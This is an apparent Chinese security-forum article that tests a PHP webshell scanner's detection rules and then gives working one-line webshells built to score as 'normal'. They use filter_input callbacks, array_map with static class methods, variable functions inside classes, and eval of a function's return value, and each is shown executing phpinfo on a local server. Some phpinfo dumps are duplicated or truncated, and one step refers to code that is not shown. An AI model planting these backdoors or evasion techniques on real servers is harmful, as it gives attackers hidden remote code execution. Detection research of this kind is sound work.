

0x00 前言

目前主流的webshell查杀工具分为静态和动态检查，针对能够执行命令和代码的危险函数都会进行检查。网上公开的绕过技术一般都是通过各种方式（变形）隐藏危险函数

0x01 查杀原理

通过扫描大量的样本，发现了查杀的方法主要包括：

- 1.正则匹配
- 2.样本库：并不仅仅是文件MD5检查，还可能使用类似simhash、ssdeep进行相似度比较。
- 3.变量追踪：追踪变量的赋值，查看变量是否是危险的函数或者可控。

0x02 已有规则分析

在本节简单介绍下针对已有规则的测试，由于篇幅有限，有很多测试没有列出来。

2.1危险函数

如下图，这里将assert的参数设置为一个字符串，可以看到，风险级别是3（使用eval时是0）。

<pre><?php assert('a'); ?></pre>	C:\webshell\1. php	3	可疑的assert
----------------------------------------	--------------------	---	-----------

将参数设置为一个变量时，变量内容不可回溯时，风险级别是4。

<pre><?php eval(\$a); ?></pre>	C:\webshell\1. php	4	Eval后门 {参数:\$a (未知内容)}
--------------------------------------	--------------------	---	------------------------

<pre><?php assert(\$a); ?></pre>	C:\webshell\1. php	4	assert后门 {参数:\$a (未知内容)}
----------------------------------------	--------------------	---	--------------------------

所以如果直接使用危险函数（特别是assert这类函数），那么被查杀的可能性是很大的。

2.2变量函数

如下图，函数名直接使用变量，那么风险级别是2，如果变量追踪为可控的，那么风险级别更高。

<pre><?php \$a(\$b); ?></pre>	C:\webshell\1. php	2	(可疑)变量函数\$a(\$b)
-------------------------------------	--------------------	---	------------------

所以网上很多的方法，如果是使用变量隐藏敏感函数，那么很容易被查杀。

2.3函数

如下图，直接写一个函数，但是没有调用，风险级别仍然为4

文件	级别	说明
C:\webshell\1.php	4	assert后门 {参数:\$x (未知内容)}

```
<?php
function abc($x){
    @assert($x);
}
?>
```

函数内部是变量函数时，风险级别是2。

C:\webshell\1.php	2	(可疑)变量函数\$b(\$x)
-------------------	---	------------------

```
<?php
function abc($x){
    @$b($x);
}
?>
```

说明查杀引擎会进入函数内部进行检查（即使函数没被调用）。

2.4类

C:\webshell\1.php	1	assert后门 {参数:\$a (未知内容)}
-------------------	---	--------------------------

```
<?php
class a
{
    public function b() {
        @assert($a);
    }
}
?>
```

C:\webshell\1.php	0	[正常]
-------------------	---	------

```
<?php
class a
{
    public function b() {
        @$b($a);
    }
}
?>
```

从上面两个图可以看出，查杀引擎并没有进入到类中的函数中，所以该处存在绕过的可能性。

2.5数组

如下图，使用字符串时的检测结果，由于\$a可以被追踪为assert，所以风险值较高

C:\webshell\1.php	4	变量函数后门(assert): \$a(\$_GET[...]
-------------------	---	---------------------------------

```
<?php
$a = "assert";
$a($_GET[a]);
?>
```

如下图，使用一维数组时的检测结果，风险也是4

C:\webshell\1.php	4	变量函数后门(assert): \$a[0](\$_GET[...]
-------------------	---	------------------------------------

```
<?php
$a = array("assert");
$a[0]($_GET[a]);
?>
```

如下图，使用多维数组时的检测结果，与使用变量函数的结果相同。

C:\webshell\1.php	2	变量函数:\$a[0][0](\$_GET[a]) 关...
-------------------	---	--------------------------------

```
<?php
$a = array(array("assert"));
$a[0][0]($_GET[a]);
?>
```

所以从这里可以看到，查杀引擎对多维数组的检查是相对较弱的。

2.6相似度比较

下图是一个已知后门，风险值是5。

```
<?php
function abc($x){
    @assert($x);
}
abc($_REQUEST['c']);
?>
```

C:\webshell\1.php	5	已知后门
-------------------	---	------

将REQUEST更改为GET，可以看到，风险值从5变成了1

```
<?php
function abc($x){
    @assert($x);
}
abc($_GET['c']);
?>
```

C:\webshell\1.php	1	assert后门 {参数:\$x (未知内容)}
-------------------	---	--------------------------

同样，将参数替换成下图格式，风险值也是1。使用这种方式，主要是让其相似度变低，然后绕过相似度检查。

```
<?php
function abc($xxxxxxxxxxxxxxxxxxxxxx){
    @assert($xxxxxxxxxxxxxxxxxxxxxx);
}
abc($_REQUEST['cccccccccccccccccc']);
?>
```

C:\webshell\1.php	1	(内藏)assert后门 {参数:\$xxxxxx...}
-------------------	---	-------------------------------

使用MD5进行相似度比较是最简单的一种方式，通过文本相似度或结构相似度也容易绕过，只能对已知后门进行检测。

0x03绕过

0x02中介绍了已经知道的规则，相对来说，使用多维数组、类等存在绕过的可能。在网上流传最多的一句话绕过方法应该是使用回调函数进行绕过，P牛的回调函数文章，大

3.1未公开回调函数

如果回调函数未公开，或者不在规则库中，那么是最容易绕过的一种方法，例如

```
<?php
filter_input(INPUT_GET, 'a', FILTER_CALLBACK, array('options' => 'assert'));
?>
```

```
<?php
filter_input(INPUT_GET, 'a', FILTER_CALLBACK, array('options' => 'assert'));
?>
```

C:\webshell\1.php	0	[正常]
-------------------	---	------

由于这类函数不在规则库中，所以查杀引擎也不会对其进行检查，可以直接绕过。当然还有多个未公开的或者不在规则库中的回调函数，大家可以多找找。

3.2已公开回调函数

针对已经在规则库中的回调函数，那么就需要考虑如何构造参数进行绕过，例如在0x02中介绍过使用类是绕过的一种方式。这里使用array_map来举例，

```
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map(base64_decode($e), $arr);
?>
```

C:\webshell\1.php	5	已知后门
-------------------	---	------

如上图，是一个array_map的一句话，查杀结果是已知后门，那么我们先看下array_map的定义：

```
array_map ( [callable] $callback , array $array1 [, array $... ] ) : array
```

array_map的第一个参数是callable类型，并且官方给出了下面一个示例

```
<?php
array_map('Demo\A::hi', [])
?>
```

所以我们构造一个类，然后使用array_map进行调用，代码如下所示

```
<?php
class x {
    function f($b,$a) {
        $b($a);
    }
}
```

```
}
$staticMethod = 'x::f';
array_map($staticMethod, array($_GET[b]),array($_GET[a]));
?>
```

```
<?php
class x {
    function f($b,$a) {
        $b($a);
    }
}
$staticMethod = 'x::f';
array_map($staticMethod, array($_GET[b]),array($_GET[a]));
?>
```


C:\webshell\1.php0 [正常]

127.0.0.1:8888/1.php?a=phpinfo();&b=assert

Notice: Use of undefined constant b - assumed 'b' in /Applications/MAMP/htdocs/1.php on line 8

Notice: Use of undefined constant a - assumed 'a' in /Applications/MAMP/htdocs/1.php on line 8

Strict Standards: array_map() expects parameter 1 to be a valid callback, non-static method x::f() should not be called statically in /Applications/MAMP/htdocs/1.php on line 8

PHP Version 5.4.45

System	Darwin OxeiploitdeMacBook-Pro.local 18.2.0 Darwin Kernel Version 18.2.0: Mon Nov 12 20:24:46 PST 2018; root:xnu-4903.231.4~2/RELEASE_ARM64_T8020
Build Date	Aug 28 2018 15:44:06
Configure Command	./configure '--with-mysql=mysqlnd' '--with-apxs2=/Applications/MAMP/Library/bin/apxs' '--with-gd=/Applications/MAMP/Library' '--with-jpeg-dir=/Applications/MAMP/Library' '--with-png-dir=/Applications/MAMP/Library' '--with-zlib' '--with-zlib-dir=/Applications/MAMP/Library' '--with-freetype-dir=/Applications/MAMP/Library' '--prefix=/Applications/MAMP/bin/php/php5.4.45' '--exec-prefix=/Applications/MAMP/bin/php/php5.4.45' '--sysconfdir=/Applications/MAMP/bin/php/php5.4.45/conf' '--with-config-file-path=/Applications/MAMP/bin/php/php5.4.45/conf' '--enable-ftp' '--enable-gd-native-ttf' '--with-bz2=/Applications/MAMP/Library' '--with-ldap' '--with-mysql=mysqlnd' '--

从上图可以看到，查杀结果为0

3.3 类

查杀引擎不对类中的代码进行检查，所以我们直接构造一个类，然后在里面加上后门代码，如下所示，可以看到查杀结果也是0

```
<?php
class a
{
    public function b($a,$b)
    {
        $a($b);
    }
}
$a = new a();
$a->b($_GET[b],$_GET[a]);
?>
```

C:\webshell\1.php0 [正常]

System	Darwin 0xexploitdeMacBook-Pro.local 18.2.0 Darwin Kernel Version 18.2.0: Mon Nov 12 20:24:46 PST 2018; root:xnu-4903.231.4-2/RELEASE_ARM64_T8020
Build Date	Aug 28 2018 15:44:06
Configure Command	<pre> ./configure '--with-mysql=mysqlnd' '--with-apxs2=/Applications/MAMP/Library/bin/apxs' '--with-gd=/Applications/MAMP/Library' '--with-jpeg-dir=/Applications/MAMP/Library' '--with-png-dir=/Applications/MAMP/Library' '--with-zlib' '--with-zlib-dir=/Applications/MAMP/Library' '--with-freetype-dir=/Applications/MAMP/Library' '--prefix=/Applications/MAMP/bin/php/php5.4.45' '--exec-prefix=/Applications/MAMP/bin/php/php5.4.45' '--sysconfdir=/Applications/MAMP/bin/php/php5.4.45/conf' '--with-config-file-path=/Applications/MAMP/bin/php/php5.4.45/conf' '--enable-ftp' '--enable-gd-native-ttf' '--with-bz2=/Applications/MAMP/Library' '--with-ldap' '--with-mysql=mysqlnd' '--with-tlib=/Applications/MAMP/Library' '--enable-mbstring=all' '--with-curl=/Applications/MAMP/Library' '--enable-sockets' '--enable-bcmath' '--with-imap=shared,/Applications/MAMP/Library/lib/imap-2007f' '--with-imap-ssl=/Applications/MAMP/Library' '--enable-soap' '--with-kerberos' '--enable-calendar' </pre>

System	Darwin 0xexploitdeMacBook-Pro.local 18.2.0 Darwin Kernel Version 18.2.0: Mon Nov 12 20:24:46 PST 2018; root:xnu-4903.231.4~2/RELEASE_ARM64_T8020
Build Date	Aug 28 2018 15:44:06
Configure Command	./configure '--with-mysql=mysqlnd' '--with-apxs2=/Applications/MAMP/Library/bin/apxs' '--with-gd=/Applications/MAMP/Library' '--with-jpeg-dir=/Applications/MAMP/Library' '--with-png-dir=/Applications/MAMP/Library' '--with-zlib-dir=/Applications/MAMP/Library' '--with-freetype-dir=/Applications/MAMP/Library' '--prefix=/Applications/MAMP/bin/php/php5.4.45' '--exec-prefix=/Applications/MAMP/bin/php/php5.4.45' '--sysconfdir=/Applications/MAMP/bin/php/php5.4.45/conf' '--with-config-file

因为\$b\$的初始化为echo字符串，如果中间\$b\$的赋值是不可回溯的（或者很难回溯到值），那么查杀引擎认为\$b\$的值就是echo字符串，所以应该可以绕过。

这里不能将eval换成assert，原因如下图所示

文件	级别	说明
C:\webshell\1.php	0	[正常]
C:\webshell\1.php	3	可疑的assert

首先尝试将\$b从多维数组中获取，从下图可以看到，虽然\$b的值追踪不到，但是检测结果风险值是1，仍然不能完美绕过

C:\webshell\1.php	1	Eval后门 {参数:\$b (未知内容)} ...
-------------------	---	----------------------------

再尝试将\$b从函数中获取，如下图，风险值仍然为0

C:\webshell\1.php	0	[正常]
-------------------	---	------

最终经过多次尝试，得到以下代码

```
<?php
$b = 'echo "111"';

function c(){

    return 'eval($GLOBALS["_GET"]["a"]);';
}

$b =c();

eval($b);

?>
```

127.0.0.1:8888/1.php?a=phpinfo();

localhost - 1.php

<?php
\$b = 'echo "111";

function c(){
 return 'eval(\$GLOBALS["_GET"]["a"]);';
}
\$b =c();

eval(\$b);
?>

PHP Version 5.4.45

System	Darwin 0xexploitdeMacBook-Pro.local 18.2.0 Darwin Kernel Version 18.2.0: Mon Nov 12 20:24:46 PST 2018; root:xnu-4903.231.4~2/RELEASE_ARM_T8020 arm64
Build Date	Aug 28 2018 15:44:06
Configure Command	'./configure' '--with-mysql=mysqlnd' '--with-apxs2=/Applications/MAMP/Library/bin/apxs' '--with-gd=/Applications/MAMP/Library' '--with-jpeg-dir=/Applications/MAMP/Library' '--with-png-dir=/Applications/MAMP/Library' '--with-zlib' '--with-zlib-dir=/Applications/MAMP/Library' '--with-freetype-dir=/Applications/MAMP/Library' '--prefix=/Applications/MAMP/bin/php/php5.4.45' '--exec-prefix=/Applications/MAMP/bin/php/php5.4.45' '--sysconfdir=/Applications/MAMP/bin/php/php5.4.45/conf' '--with-config-file-path=/Applications/MAMP/bin/php/php5.4.45/conf' '--enable-ftp' '--enable-gd-native-ttf' '--with-bz2=/Applications/MAMP/Library' '--with-ldap' '--with-mysqli=mysqlnd' '--with-pdo-mysql=mysqlnd' '--with-pdo-sqlite=/Applications/MAMP/Library' '--with-sqlite3=/Applications/MAMP/Library' '--with-xml' '--with-xmlrpc' '--with-zip' '--enable-cli'

C:\webshell\1.php

0 [正常]

0x04总结

本文的重点并不是对webshell进行各种变形，而是通过大量的测试检查查杀引擎的规则库，尝试进行绕过。掌握了这种方法，再结合php的语法特性，就可以很容易的写出

PS：本文仅做技术研究，不要用于非法用途。

点击收藏 | 2 关注 | 2

[上一篇：利用htaccess绕黑名单，ma...](#) [下一篇：利用htaccess绕黑名单，ma...](#)

1. 0 条回复

- 动动手指，沙发就是你的了！

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

[目录](#)

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)